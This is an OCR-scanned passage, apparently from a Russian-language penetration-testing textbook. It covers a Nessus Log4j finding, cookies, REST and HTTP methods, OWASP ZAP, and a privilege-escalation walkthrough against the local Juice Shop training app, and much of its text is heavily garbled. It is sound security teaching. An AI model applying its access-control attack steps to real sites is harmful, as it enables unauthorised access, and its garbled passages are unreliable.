ciabbie Mecra B nenesoil MIC, onpeaeuTs JaJbHERIIi BEKTOP TPOHUKHOBEHMS

Nessus 205

1 104006paTh HEOOXO[UMbIE HHCTPYMEHTBI JIJISE OCYIIECTBICHUS aTaKuU.

() Nessus Essentials / Foid = | () my first scan_zddmSpdt =+

2 O @

B My Seans
W Alscans
B Trash

Pelicius.

Pligin Rules

0
a8
n

Terrascan

Oa i it 156032

" Kali Linix 8 Kall Tools [ Kall Docs “, Kol Forums 3% Kall NetHunier  ExplotDB  Google Hacking 08 L OffSec g Greenbone Securty A

Seans

my first scan / Plugin #156032 o | e
¢ Back to Vulnerabiley Group

Hosts 1 Vulnurabilities 3 Notes 1 Higtery 1

IEEEE 4 pache Logdj Unsupported Version Detection

Description
According 1o its self-reported version nuenbser, the installation of Apache Logd) on the remote host i no lenger supported. Logy
reached its end of life prios to 2016,

Lanck af suppart irplies that y patehies for the pradust wil be el , saalt, 2 45 ey b

cantain securiy wlrerabillties.

Solution
Upigrade 1o 3 versian of Apachs Logd] that ks currencly suppanad

Upgrading 1o the Latess verskons for Apache Lags) is highly s 1 panches hawe known high
¥ and the vendor 15 advisories often and knowledge about the impact of Logd)
I5 dscovered, Refer to !

See Also
hatpcthomw. sz, orpuRSOfEsSal

Launch Report  Lxpent ™
Plugin Details
Sensurity: critteal
o 136032
Versiort 14
Type: Incal
Farniky: M
Pusishar Dacember 13, 2021
Modfied: May 18, 2022

Risk Infermation

Risk Factor: Criical
CVES v3.0 Base Score 10.0

CVS5 VA0 VBctor CVSS:T AN NIACLIPRN
LN CICHEHIRH

V55 V2.0 Base Score 10.0

WSS VE.0 Wtor: CVSS2EAVNIACLIALNICC
DT

Tenable News Sutput
Vulnurability informatien
Mind the Gap: A Path 1 Shome/itseckook /Dewnloads MagicTree - bulld18id. jar
Closer Lok at Eight Installed versice i 1.2.15 CPE: epariacapachasingd]
Notable CVEs .
To see debug o, alease vt Indidual host Unaupported by vendar: true
R M Part o Hasts
Reference Information
LY localhost

Puc. 6.19. VHdopmauums 06 ys3BuMocTu




ATakun Ha BEG-NPUIOXEHUS

[Ipeamonoskum, 4To B Xojie cGopa MHMOPMAIIUH O TIETEBOH OPTaHU3aAIUI Mbl 0OHA-
pysxuin Be6-npuoskenue. Ha camom jiesie 66110 GbI 04€HD CTPAHHO, €CJIU GBI B X071€
cbopa mHGOpMAIUU MBI He OOHAPY/KUJIM HU OHOTO BeO-npuiiokeHust. YTo ke 910
Takoe? BebG-mpusoskenne — 3T0 MporpaMMHOe obecrederiie, KOTOPOe UCITOTb3YeT
BeO-TEXHOJOTHY U paboTaeT uepe3 MHTepHeT-Opay3ep. OHO MOJKET BHITTOTHSATH Pas-
JIMYHbBIE 33191 U (GYHKIUI: 00pabOTKA TaHHBIX, YIIPABIEHNE KOHTEHTOM WJIH TIPEIO-
CTaBJIeHUE HHTEPAKTUBHBIX CEPBUCOB. BeG-TPUIIOKEHMST TOCTYMHBI Ha PA3IHYHbIX
mathopMax U yecTpocTBaX — KOMIIbIOTEpPax, cMapT(OHAX U TJIAHIIETAX, TIPH ATOM
He TpeOYIOT YCTAaHOBKU Ha JIOKATbHOM KOMIIBIOTEPE, TIOCKOJIbKY OCHOBHAS YaCTh UX
byukIuit 06pabaThiBaeTes Ha cepBepe. ITO MO3BOJISIET TOTB30BATESIM TTOIYIATh
MOCTYT K BeG-TIPIITOKEHHUTO ¢ TT06OTO MecTa 1 Ha JT060M YCTPOHCTBE, MMEIOTIEM
TOJIKTIOYEHNE K HHTEPHETY.

ITomy I pHOCTD TAKUX MTPUJIOKEHUIT TIOCTOSTHHO PACTET. ITO JIETKO TOHSITh — BeO-
TPIIIOKEHNST — KPOCC-TTATHOPMEHHbIE, MHOTOIOTb30BATETbCKIE, He TPeOyIoIne
KJINECHTCKUX BbIYNCJINUTEJIbHBIX MOHIHOCTeﬁ 1 BMECTE C TEM HeO6bIKHOBeHHO (bYHK-
ITNOHAJIbHDBIE. prHHbIe OopraHmnaanuu O6bI‘-IHO AE€pKaT CBOU PECypPChbl Ha CBOUX JKe
cepBepax, U Pa3yMeeTcst, K 3TUM cepBepaM eCTb JI0CTYII Y J060To YesoBeka. Beab wer
CMBICJIA JIeJIATh MYOIUYHYIO CTPAHUYKY OPTaHU3AIIUH ISt TOTO, YTOOBI BIIOCJAEACTBIN
3aKPbITh TOJB30BATEJNAM TOCTYII K HEl. ITO U JiesiaeT BeO-PUIOKEHHsT CaMoii 1o-
ITyJISIPHOM MUIIIEHBIO /IS aTaK.

Ecan panbiie Be6-crpannyku Obuin cseperanbl Ha HTML u npeacrasisam coboit
He YTO MHOE, KaK IPOCTOI JOKYMEHT, TO Teleph MIPaKTUUECKH JI000ii CallT sBJIser-
CST CJIOJKHBIM TIPOTPAMMHBIM TIPOYKTOM C MHOKECTBOM TIOKJIIOUAEMBIX MOYJIEH.
[TporpaMMHbBI KOJT BBITIOJTHSIETCST HA CTOPOHE CEPBEPA, a MOJIb30BATENIO BHIAETCS
TOJIBKO PE3YJIBTAT €r0 PadOTHL

B3iiom BeO-TIPUIIOKEHIST CTAHOBUTCSI BO3MOKHBIM 110 JIBYM TIPUYUHAM: 3TO IPO-
IPaMMHBIH KOMILIIEKC, KOTOPBIN, Kak U JI0O0MH APYTroii, MOKeT OBITh B3JOMaH; 4eM
GOJIbIIIE TIPOTPAMMHOTO KOJIA, TEM OOJIbINE BEPOATHOCTD OMIUOKU B HEM.
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3HAKOMCTBO C cookie

ITo3HakoMUMCS TIOOJIMZKE € TaKOH, Ka3aI0Ch Obl, U3BECTHOI BElIbo, Kak cookie. Baxk-
HOCTb cooKie Heslb3s IIpeyMeHbIIaTh, KaK 1 MOTEHI[MaJbHble PUCKU U IIOTEPH, CBSI-
3aHHBIE C BOBMOKHOCTDHIO HCITOJIb30BAHUS UX 3JIOYMBINIIEHHUKAMHY JIJIsT CBOUX aTak.

Bce GoJblime caiiTbl HAUMHAIOT KOT/Ia-HUOY /b UCIIOJIB30BaTh COOKie, TP HbIHEITHEM
MOJIOKEHNHN Bellleld 9TO PAKTHYECKN HensbeskHO. BosbMeM, HallprMep, caMblii 00bId-
HbIil nHTEepHeT-MarasuH. [ToJb30BaTe b IPOCMATPUBAET KaTAJIOT TOBAPOB U 100aB/Is-
eT OJH 13 HUX B KOp3uHy. Ha 5T0ii cTaguy nHTepHeT-MarasuH yxe cosgaer 6es ero
Begoma daitn cookie Ha KomibioTepe mosb3oBaresist. Daiin Gy et copep:xath B cebe
uH(bOPMAIHIO O TOBapax B KOP3WHE B KaUeCcTBE 00s13aTeIbHON. Beb-puIokeHuo
HEOOXOIMMO TJIe-TO XPAaHUTh HHMDOPMAITHIO O ACHCTBUSIX TT0JI30BATEIST, BE/b TPaK-
THYECKM KaKblil pas, KOra MOKyaTeJb Ha)KMMaeT Ha KaKylo-11n00 KHOIKY Ha
CTpaHWYKe, IPUJIOKEHIE Ha CTOPOHE cepBepa 3allycKaeTcsi BHOBb. U ieath 310 OHO
OyzeT, MMesl B PacIOPSKEHUH BCe JaHHbIe, KOTOPbIE [IPEeAOCTaBUI II0JIb30BaTENb
B TEUCHUE TOM CecCuu, a Takke MHMOPMAITUIO, KOTOPYIO CTEHEPUPOBAJI CaM CepBEp.
YT0o0bl HE TPATUTH PECYPCHI MPETIPUSATHUS [IJisk XPAHEHMSI 9TOTO MacCuBa WH(OP-
MallMu, Ha CTOPOHE KJAueHTa u cosaercsa daiii cookie. B HeM MOKeT XpaHUTbCS He
TOJIbKO UH(pOPMAIIUS 0 TOBApax, HO ¥ IAHHBIE I ay TeHTH(UKAIINN, TIePCOHATTbHbIE
JIAHHbBIE [TOJIb30BATEJISI U UCTOPHUSI €70 MPOILIBIX CECCHI.

MDaitsbl cookie Takke MOTYT MCIIOIB30BATLCS JIJISI OTCJEKUBAHUS AKTHBHOCTU
TIOJTB30BATENST Ha BeO-caliTe, 4TO TTOMOTAET AIMUHICTPATOPAM CaliTa aHATM3MPOBATD
Tpauk 1 oNITUMHU3NPOBATH KOHTEHT. OHM cirysKaT A1 NAeHTH(UKAIIAN TT0Th30Ba-
TeJIeid, TIoMorasg COXpaHUTDb X BXO/] B CUCTEMY IIPU IIePeX0/iax MeXK/ly Pa3IMuHbIMU
CTPaHMIIAMU CaiiTa, U MOTYT NCIOJIb30BATHCA IS TIPEIOTBPAICHNS MOIIICHHUYECTBA.

Opnako daitbr cookie TakKe BBI3BIBAIOT OTIPe/IeJIEHHBIE TIPOOJIEMBI ¢ KOH(DHUIEH-
MIATHLHOCTHIO, TOCKOJIBKY OHU MO3BOJISIOT BeG-cafiTaM OTCIeKMBATD MeiCTBUS
mosib3oBarTesiei u cobupaTs nHbopMaIio 6e3 uxX coriacust. B ¢Bs3u ¢ 5TuM MHOTHE
CTpaHbl BBEJIU 3aKOHBI, TPEOYIOIIHE OT BeO-CallTOB MH(MOPMUPOBATH MOJIb30BaTENCH
0 CBOEH TIOJIUTHKE MCIOJIb30BaHUsT cookie 1 mMoJIyaTh MOTBEPIKICHNIE COTIACHS] HA
X IIpyuMeHeHune.

Crpykrypa (aiiia cookie goctarouHo mpocTa. IT0 OGBIYHBINA TEKCTOBBIN (aill, rie
JlaHHbIe MTPe/ICTaBIeHbl B (hopMmare «iapamerp = 3HaueHue». /lannbie daiina mepe-
naiotcst 1o SSL-1poTokosty, HO flaHHble (aiiia, CO3[AHHOTO CaliTOM MYyCOTrp.org, He
MOTYT OBITh IIPOYUTAHBI BEO-IPUIOKEHNEM, paOOTAIOIIUM Ha APYIOM JIOMEHE, Ha-
npuMep myisp.net.

Yo ke MOKHO czies1aTh ¢ aTuM daiisiom? Ero MoskHO yKpacTs. [yt aTOTO OUeHb ua-
cro ucnonbsytor XXS, Kotopslil Oyaer paccMoTpen aanee. Ilogmenus cBoii cookie
Ha cookie-caiisn skepTBbI, MOKHO 63 TpobiieM paboTaTh 0T ee umMeru. Kpome toro,
[IPOAHATIM3UPOBAB caM (DAL U IOMEHSIB 3HAYEHIISI B HEM, MOKHO TIOIIBITATHCS MOJIY -
4rTh GoJiee BBICOKUE MPUBUJIETHU WUJIH JOCTYI K aJIMUHUCTPATUBHON YacTH caiiTa.
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REST API

REST API (Representational State Transfer Application Programming Interface) —
9TO CTUJIb aDXUTEKTYPBI 1 HOAXO0/] K 0OMEHY JaHHBIMU Yepe3 HHTEPHET MEKIY pas-
JIMYHBIMUA KOMIIOHEHTaMHU OZHON CUCTEMbI UM PA3HBIMU CUCTEMAMU, OCHOBAHHbIIL
Ha mpotokosie HTTP.

REST upeacrasiser co6oit HaGop IPUHIIUIIOB U OTPAaHUYEHUH, KOTOPbIE JeJatoT
B3aUMOJIEHICTBIIE MEKY CHCTeMaMu Gosiee THOKIM, MacIITaGuPyeMbIM 1 Ha/EK-
HBIM.

K ocuosubim noaaruam REST API ornocsarcsa:

® OTCYTCTBHE MCIOJb30BaHuA nHMopMalmu o coctosuun (Stateless). Kaxaprii
3aIpOC KJIUEHTA JI0JIKEH COJEPKATh BCIO NH(MOPMAIIIIO, HEOOXOIMMYIO JIJISI €70
obpaborku. CepBep He XpaHUT HH(OOPMAIUIO O TPEABYIIUX 3aPOCAX, YTO
yrpoiiaer 00paboTKy 1 MacIITaOUPOBAHIE;

e xamupyemocts (Cacheable). OTBers cepBepa MOTYT OBITH KIMIUPOBAHBI HA
CTOPOHE KJIMEHTa, YTO CHUYKACT HATPY3KY Ha CEPBEP U yCKopsieT 06paboTKy Mmo-
CJIeJIYIOIINX 3aIIPOCOB;

e yuudunupoBanHocts nHTEpdeiica (Uniform Interface). CranaapTusnpoBaHHbIIA
Habop MetooB u npasui aeinaer REST API ipocTbIM /1 UCHOJIb30BAHUS U [10-
HUMaHWST;

e wuepapxus kianent — cepsep (Client-Server). BsaumozeiictBre Mex/1y KIMeHTOM
U CEPBEPOM PA3/IEJIEHO, UTO TTO3BOJISIET Pa3padaThiBATh U MACIITAOMPOBATH KaK-
JIYIO 4aCcTh HE3aBUCUMO JIPYT OT JPYyTa.

REST API ucniosssyet crangaptabie MeTosibl HTTP st BeimonHeHnst Takmx
omepanui, Kak coszanue, yrenne, oonosaenue u yaanenue ganabx (CRUD). O1tu
metoznl BKiovaoT B cebd GET, POST, PUT, PATCH u DELETE. REST API taxxe
UCTIONB3YeT cTaHAapTHBIE Koabl cocToguusg HT TP nnsg nnankammnm ycnenrtHocT uian
OLIMOKM BBIIIOJHEHUS 3aIIPOCa.

REST API yacro ucnosbayercs s paspaboTKu BeO-CepBUCOB U B3aUMOAEHCTBUS
MESKLY PA3JINUHBIMKI KOMITOHEHTAMU CUCTEMBI UJIU C JIPYTUMU CUCTEMaMU — MOOUJTb-
HBIMU TIPUJIOKEHUSIMH, BEO-TIPUIIOKEHUSIMU UM CTOPOHHUMHE CEPBUCAMU.

HTTP-meToabl

[Tog HTTP-meTomamMu MOHUMAIOTCS CTaHaPTHBIE METOBI 3aITPOCOB, UCIIOIb3yeMble
niporokosiom HTTP jist B3aumoielicTBUst Mexy KaneHToM u cepBepom. OHu oripe-
JEJISITOT ICHICTBIIE, KOTOPOE 0JKHO OBITh BBITIOJTHEHO Ha CEPBEPE B OTBET HA 3aMpoC.
OcuosabiMu HTTP-mMeToamMu SBASI0TCS CIeLyolme:

e GET: ucnospayercs 115 oJrydyeHns IaHHBIX OT cepBepa W He BIUSET Ha €To CO-
CTOSHUE;
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e POST: ornpaBsisieT JTaHHBIE HA cepBep /I CO3/IaHNST HOBOTO pecypca UJn U3-
MEHEHUS CYNIeCTBYIONNX JaHHBIX;

e PUT: sarpyskaer JaHHbIe HA CEPBEP JIJIsI IOJTHOTO OOHOBJIEHUSI CYIIECTBYOIIETO
pecypca UM Co3/lalius HOBOIO, eCJId OH He CyLIeCTBYeT;

e PATCH: sarpyskaeT JaHHbIE Ha CepPBEp JJIsT YACTUUHOTO OOHOBJIEHUSI CYIIIECTBY-
IOIIET0 pecypea;

e DELETE: ynansger ykazanHbI pecypc Ha cepBepe;

o HEAD: ananornuen GET, Ho Bo3BpalliaeT TOJIbKO 3ar0JI0BKHM OTBETa, 6e3 OCHOB-
HOTO COJIep;KaHNs; MCTIOTb3YeTCs JIJIsl IPOBEPKU CYIIECTBOBAHUS pecypca Win
MOJTyYeHUST META/IAHHBIX;

e OPTIONS: BosBpaiiaer nH(hopMaImio 0 METOIax 3aPOCOB, TOIEP;KUBAEMbIX
IS YKa3aHHOTO PECypea;

e CONNECT: ucnospayercst IJisl yCTAaHOBJIEHMS CETEBOIO COEAMHEHMs, 00BIYHO
B KOHTEKCTE HCIT0JIb30BAHMS ITPOKCU-CEPBEPA;

o TRACE: Bo3Bpaliaer 3apoc, KOTOPbIi ObLI OTIIPABJIEH KJIUEHTOM, B TeJIE OTBETA;
UCIOJIb3YETCS U1 IMarHOCTUKU U OTJIAJKU.

OWASP

OWASP (Open Web Application Security Project) — MeKayHapogHass HEKOMMEp-
yecKast OpraHu3aIs, AeATeTbHOCTh KOTOPOH HalpaBjieHa Ha yiydiieHue 6e30-
nacuoctu BeO-npuioxennii. OcHoannas B 2001 roxy, OWASP npeznocrasiser
PECypChl, MHCTPYMEHTBI, CTAaHAAPTHI 1 00PA30BATENbHBIE MATEPUAIIBI JIJIST TIOMOIIH
paspaboTunKaM, TECTUPOBIIUKAM 1 OPTaHU3aLMAM C 1IeJIbio obeciieyenus Gesomac-
HOCTHU BeO-TIPUIIOKEHUIA,

Opnum us Hanbosiee usBectHbIX MpoekToB OWASP sapusiercs «Tomn-10 OWASP» —
CIIMCOK AeCATU HanboJjiee KpUTUIECKUX YTPO3 O€30I1aCHOCTH BEO-TIPIIOKEHUH, KO-
TOPBIIT OOHOBJISIETCS KasKIble HECKOJIBKO JIeT. DTOT CIIMCOK TOMOraeT pa3paboTdnkam
U OpraHMU3aLUsM OIIPEEJUTh OCHOBHbIE YIPO3bl OE30IIACHOCTU U IIPUHSATH MEPbI J1JIst
WX YCTPaHEHUS U TIPEJOTBPAICHUS.

OWASP tax:ke paspabaTbiBaeT 1 IOAAEPKUBAET Pa3HOOOPa3HbIE [IPOEKThI, TAKIE
KaK MHCTPYMEHTBI TECTUPOBaHUs 6€30MacHOCTH, PYKOBO/ICTBA 110 Ge30IacHoii pas-
paboTKe ¥ 0OyUAOIINE MATEPUAIIBI, KOTOPbIE JOCTYIHBI OECILIATHO.

NHcTpyMeHTbl OWASP

B aT0il ry1aBe MBI PACCMOTPHUM BCe [IECATh AKTYAJIbHBIX U BCTPEYAIOIIUXCS TIOBCE-
MECTHO YSI3BUMOCTEH, ncnosb3ys asa nuncrpymenta OWASP. [lepsbiii ipe/icraBiiser
CODOI MHCTPYMEHT JIJIsl aHAJIN3a U TIPOBEJIEHNS aTaK, a BTOPOil — 9TO TECTOBasI CPE/Ia,
paspaborannas OWASP.
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OWASP ZAP

OWASP ZAP (Zed Attack Proxy) — GecriiaTHBIN U OTKPBITBIH HHCTPYMEHT JIJIsST
AMHAMUYECKOTO TECTHPOBAHMSI 6E30MaCHOCTH BeO-TTPUIOKEHNH, padpaboTanHbIi
n nojiepxuBaembiii ipoekToM OWASP. 3arryckaercs Ha niatdopme Java u 1octy-
TIEH JIJTsT HECKOJIBKUX OTIePalluoHHbIX cructeM, Bkaovas Kali Linux.

ZAP MOXKHO WCIIOJIb30BATh JIJIST TECTUPOBAHUS BEO-TIPIIOKEHUI KaK B aBTOMATH-
YeCKOM, Tak U B pydHOM pesknmve. OH paboTaeT Kak TPOKCH-CEPBEP, TEPEXBATHIBAST
U aHATIM3UPyst TpahUK MEKIY TIOMB30BATETHCKIM OPay3epoM U BeO-TIPUIOKEHIEM.
C ero 11oMOIIIbIO MOKHO BBIITOJIHATD Pa3/InYyHbIe BU/IbI aTaK, HAIIPUMeEP CKaHUPOBAaHUE
Ha HATMYMe YSI3BUMOCTEH, aTaky Ha 6a3bl JAHHBIX ¥ TECTHPOBAHKE HA TPOHUKHOBEHME.
Kax u mpyrue ckamepsr 6e3omacnoct, ZAP yMeer rernepupoBaTh OTIeTHI, paboTaer
C TTOJTH30BATETHCKUMHU CKPUTITAMH, COOUPAeT MHMOPMAITHIO O TIETH U MHOTOE JPYTOE.

ZAP obmagaer MHTYUTUBHO NOHATHBIM TpaduuecKuM nHTepdeiicoM, KOTOPbIii 00-
JIETYAET MPOIIECC TECTUPOBAHUS U AHATIN3 PE3YJIbTaTOB. DTOT UHCTPYMEHT HIMPOKO
UCTIOJIb3YeTCs Pa3paboTIMKAMK, TECTUPOBIIUKAMHU GE30TIACHOCTH 1 ayAIUTOPAMU
JUIST WICHTU(DUKAIIMY 1 YCTPAHEHMsI yTPo3 Ge30MacHOCTH BeO-TTPUIOKEH I Ha pas-
JIMUHBIX CTAAUSIX PaspabOTKU U 9KCILTyaTalluu.

Yeranoska ZAP B Kali Linux BbIoJIHSAETCS OJTHON KOMAH/IOM:

$sudo apt install zaproxy

[Mocne ycranoBku ZAP mnosiBsieTcsl B MOJIb30BATEIbCKOM MeHIO B pasjese Web
Application Analysis. ITocite iepBoro 3amycka (puc. 7.1) He 3a6y/16Te 0OHOBUTH Oa3bI
nanabix ZAP.

m Untitled Session - 20230508-091627 - OWASP ZAP 2.12.0 [m} w

File Edit View Analyse Report Tools Impeort Export Online Help
standerdMode v B HE @R @F I E0D80EDND A8 VO ke XxEs el

@ Sites & : “#Request &= Response & Requester
eca. | Header: Text d || Buody: Text ~| BB
~ 5 contexts
[E pefault Context
@ sites

M History S, Search PUalerts | Output 4

@ @ 7 Filter: OFF & Fxport

1d Sour.. Req. Timestamp Met.. UKL Co.. Reason K. Size Resp... Highest.. M. Tags =
Alerts f#0 =0 =0 0 Main Proxy: localhostB0E0 CurrentScans &0 @0 do @o S0 Go

Puc. 7.1. lMNepBbiit 3anyck ZAP
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Juice Shop

OWASP Juice Shop — aro yuebHoe BebG-TIpUIOKeHHE, PaspaboTaHHOE U TIOALEP-
sxuBaemoe npoektom OWASP, copepskaliee ysa3BMMOCTU B GE30IIACHOCTH. DTO CO-
BPEMEHHOE BeO-TIPUIOKEHNE, HAllMCaHHOe Ha creke TexHosoruil Node.js, Express
u Angular, uMuTHpYET HHTEPHET-Mara3n.

Juice Shop paspaboran B kauecTBe y4eOHOI MJIOMIAAKH JJIS TIOJyYEHUS IIPaKTHYe-
CKUX HAaBbIKOB TECTUPOBaHUs Ha MPOHUKHOBEHNE U 00yUueHtst 6e301TacHOCTH B 00-
Jactu BeO-npuiokenuit. Beb-npuoxkenne coepsKuT MHOKECTBO YA3BUMOCTEI,
B TOM uncJie u3 ciucka Tor-10 OWASP. OWASP Juice Shop rakske npegocraBisier
copesHoBaresbHyIo cucreMy «Capture The Flags (CTF) u pasnnunble 3agauu,
KOTODbIE CTUMYJIPYIOT M0JIb30BaTEIEN HAXOUTh 1 UCIIPABJIATH YsI3BUMOCTH. bBira-
rogapst CBoei OTKPBITON apxuTekType Juice Shop Mozker ObITh JIErKO pa3BepHYT Ha
pasnuuHbIX ardopmax (B ToM yucie Ha Docker win Heroku).

JlaHHbII IPOAYKT TakKe gocTyieH B perosutopun Kali Linux, i ero ycraHoBKU
BBITIOTHUTE KOMAHIY:

$sudo apt install juice-shop
[l1is 3ammycka mpuiosKeHUs UCIIOIb3yeTCs KOMaH/Ia:
$sudo juice-shop -h

ITociie 9TOrO BHI MOKETE OLEHUTH Ballly HOBYIO CTPAHUYKY, BBels B Opaysep aapec
http://localhost:42000 (puc. 7.2).

L OWASP Juice Shop ® | # =i B R

« 2 C @ O O 127.0.0.0:420000 £ 2 s @ =

" Kl Uinux 8 Kali Tools [l Kali Docs S, Kab Forams 38 Kol Nethumer s Exploil-DB = Googhe Macking DB L OftSec g Geeenbone Security A..
i OWASP juice Shop QO @en

Welcome to OWASP Juice Shop!

a challenge: Error Handiing (Prove

All Products

_ This websile usos frull cookies Io onsure you gel
the juicies! tracking experience. But it

Mo want it}

Carrot Juice
{1000mi)

Puc. 7.2. NHTepdeiic Juice Shop
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Tocte 3aBeprirennst paboTHI He 3a6yABTE OCTAHOBUTD Juice Shop, BHITOIHIB KOMAHIY:

$sudo juice-shop-stop

HapylwleHne KOHTpoNnsa Aoctyna

YaspumocTb HapyumeHus Konrposst gocryna (Broken Access Control) B Be6-
NPUJIOKEHNH BO3HUKAET, €CJTM CHCTEeMa KOHTPOJIS I0CTYITAa HEAIOCTATOYHO 3alHIAET
orpejiesieHHble Pecypehl Wi QYHKIMK 1100 HEIlPAaBUIbHO OrPAaHUYMBAET JOCTYII
K HUM. ITO MOKET IIPUBECTHU K TOMY, 4TO aTaKyIOIIHeE TT0JyYaT HeCAHKIIMOHMPOBAH-
HBIN AOCTYIT K YYBCTBUTEJ/JIbHBIM JaHHBIM, beHKHI/IOHaJH)HbIM BO3MOXHOCTAM HJIN
BO3MOKHOCTSIM, KOTOPbIE JOJKHBI OBITh JOCTYITHBI TOIBKO OIPEAENEHHBIM MO0JIb30-
BaTeJISAM WU TPYTIIaM TTOTh30BaTeCH.

HapymeHI/Ie KOHTPOJIA JOCTYIIa MOJKET TIPOABJIATHCA B PA3JTNYHBIX (bopMax:

e ropusoHTadbHOE ToBbiieHne puBuiernit (Horizontal Privilege Escalation),
KOT/[a TI0JIb30BATEJb MOJTyYaeT AOCTYI K JAHHBIM WU (DYHKIHSIM IPYTOTO MOJIb-
30BaTeJIst C TEM K€ YPOBHEM TIPUBUIIETHIL;

e BeprukaibHoe ToBbieHue npusmiernii (Vertical Privilege Escalation), korma
MOJIb30BATEh ¢ HU3KMM YPOBHEM TIPUBHUJIETHH MTOTyYaeT MOCTYIT K TAHHBIM WJTH
(OYHKIIUSIM, TOCTYITHBIM TOJIBKO TI0JIb30BATEISIM ¢ O0JIee BBICOKUM YPOBHEM TIPH-
BUJIETU;

® HemnpaBuJbHas nposepka npusmiernii (Insecure Permission Checks), koraa cu-
cTeMa KOHTPOJIS JIOCTYIIa HEIPABUJIbHO MTPOBEPSIET PAa3pelieH s M0JIb30BaTes,
YTO MOKET TIPUBECTU K HECAHKIIMOHUPOBAHHOMY JIOCTYITY K PECypCaM;

® HapylleHue KOHTPoJs gocTyna Ha ocHoBse posieil (Role-Based Access Control
Violation), Korza 1oJib30BaTeb ¢ OIpe/eJeHHON POJIbIO IOJIydaeT A0CTYII K pe-
cypcam WiIu (hyHKITHSIM, KOTOPBIE IOJKHBL OBITH OrPAHUYCHBI APYTHMHU POJISTMH.

Tak Kak ys13BUMOCTH TaKOTO THIIAa BO3HUKAIOT B OCHOBHOM M3-3a HEIPaBUJIbHON
APXUTEKTYPBI U JIOTUKU PABOThI MPUIOKEHWI, HA JIAHHBI MOMEHT HE CYIECTBYET
JIOCTaTOYHO XOPOIINX CUCTEM aBTOMATUYECKOTO MOMCKA TaKUX YsI3BUMOCTeH, 110-
3TOMY Uallle BCero X Haxo/sIT B X0/ie PYyYHOIl IPOBEPKU.

ITo cratuctuke OWASP, Ha JaHHbIIT MOMEHT OK0JI0 94 % MPUIOKEHII UMEIOT IPOo-
GJIEMBI ¢ KOHTPOJIEM JIOCTYTIA, HTO OJIHA M3 CAMBIX YACTO BCTPEYAEMBIX YSI3BUMOCTETH.

OO6bIYHO TTOC/IE HAXOKIEHHS JAHHOTO THIIA YSI3BUMOCTH aTaKyOIIUI TpobyeT 1mo-
BBICUTDH CBOW TIPUBUJIETUH /10 MAKCUMAJIbHO BO3MOXKHOTO YPOBHS. B pesynbraTe
TAKUX aTaK OH MOJIYYaeT OCTYIT K 3aKPBITON NH(pOpMAINN, KOTOPYIO 3aTeM TIPoIaeT
Ha YePHBIX PbIHKaX. B HEKOTOPBIX CIydasix, MOJYyIUB JOCTYT K CUCTEME, aTaKyl0o-
MU MOYKET OCYIIeCTBUTD 3apaskeHue cucTeMbl BpefoHOoCHbIM [1O nim BhI3BaTh
cboil B crcTeMe, YTO MPUBEET K OTKA3y B 00CAYKUBaHWH. B3JIOMaHHbIE CHCTEMBI
B JaJIbHENIIEM MOTYT ObITh UCIIOJB30BAHBI JIJIsI HALIAICHUST Ha APYTHe KOMITOHEHTBI

MHGPACTPYKTYPHI.



HapylweHune KoHTpons gocTyna 213

[TposemMoHCTpUpPYEM rOPU30HTATTBHOE TIOBBIIIEHUE TIPUBIJIETUI HA HAIIEH TECTOBOM
cucreMme. [To ymoruanuio Halra cucteMa He COAEPKUT MOJIb30BATEEH, TOITOMY
MEePBBIM HAIIUM I1aroM Oy/IeT co3faHne HeCKOJIbKUX mosb3oBaTenei. st aToro
NPOIAUTE PErUCTPAIMIO HECKOJIBKO Pas, Kak cieJiaii Obl 9T0 0ObIYHBIE TTOJIb30BATEIH
WHTEepHeT-MarasuHa (puc. 7.3).

L OWASP nieShop x| 4 o

« =2 C @ O D 127.0.0.0:42000/Wregister o ® =2 ¥ =

"y, Wal Linee @ Kali Toots [l Kb Docs %, Kak Forums  [3Y Kadl NetHunies = ExploliD8 = Googhe Hocking D8 | OftSec g Greenbone Security A...

i OWASP Juice Shop Q, @ acount @ N

User Registration

Puc. 7.3. Pervctpauusi nonb3osatesnen

Il pasnbHeiimmx geiictsuii Ham nonagoburcs OWASP ZAP. 3amycrure ero u CKOH-
durypupyiire cBoii Gpaysep TakuM 00pazoM, YT0ObI OH UCIIOIb30BAJI IIPOKCU-CEPBED,
azpec 127.0.0.1 u nopr 8080. Yurure, uro 3anpocsr Ha localhos u 127.0.0.1 Bcerga
UAYT HANIPAMYIO, II09TOMY K HAIIeMy CaiTy, HECMOTPS Ha TO YTO OH HAXOIUTCS Ha
Halleil ke MaliHe, Mbl OyeM oOpallaThCs 10 UMeHU Xocta — http://kali: 42000.

Teneps, Korza y Hac €CTb 110J1b30BaTe b, BOM/IEM B CUCTEMY C CO3[JaHHbIM Ha IIpe/ibl-
IYTIEM TIIare JIOTHHOM U TrapoJieM. J[06aBiuM B Halry KOP3WHY, CKaskeM, STOMOUHBII
cok. Teneps BbliizieM 13 cucTeMbl, HaskaB KHOIIKY Logout, 1 3aiijieM ¢ IpyruM akKayH-
toM. J[06aBUM B KOP3WHY IPYTOH TOBAp, HATpUMep GAaHAHOBBIN COK.

Ecom BBI celiuac OTKPOETE KOP3NHY, TO YBU/IUTE TOJIBKO T€ TOBAPbI, KOTOPbIE BbI /10~
63.BI/I]II/I, pa60Ta51 C y‘-IE‘THOfI 3allMCbIO TEKYHIETO 110JIb30BaTeEJisd, — Bbl HE CMOJKETE
TIOJIYYUTDb JOCTYII K KOP3WHE IIEPBOT'O IOJIb30BATEJIA. Taxk un JLOJIZKHO OBITb.

Tereps mocmoTpum, uto Mbl BiuuM B ZAP. Bo Bpemst Hatiieil paGOTbI TPOUCXO/UT OT-
npaBka POST-3anpocos u mosryuerrie GET oTBeToB, Halll IPOKCH-CepBep THIATEIbHO
COXPaHsIeT BCe JIJIs TOT0, YTOObI MbI B Ja/IbHEIIIIEM MOTJIN IIpoBecT aHaius (puc. 7.4).
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Q Untithed Session - 20230510-080112 - OWASP ZAP 2120 - =] x
File Fdit View Analyse Reporl Tools Import Export Onhne Help
SandardMode ~| [ B HE @ &S A28 DD BE & 8 Ve F © X tled
@ Sites < { =*Request < Response (5 Requester <
@oaE Header: Text W || Body: Text ~| B3
~ (3 Contexts GET http://kali:42eee/rest/basket/6 HTTP/1.1
(@ Default Context Host: kali:4zeee
v @ sites User-agent: Mozilla/5.® (X11; Linux xB6_64; Iv:102.9) Geckos2e188101
. Firefox/182.8
> @R e .
I http:/i inary.openh264.0rg | Accept: application/json, text/plain, */*
> 0w ’iMcept-Language: en-Us,en;g=0.5
Lautharizatinn: Aearar aw IMaVAiNd WYINGLEC Ihhfeind 15021106 19

M History S search Malerts [ output  &F webSockets

@ @ T Filter: OFF & Export

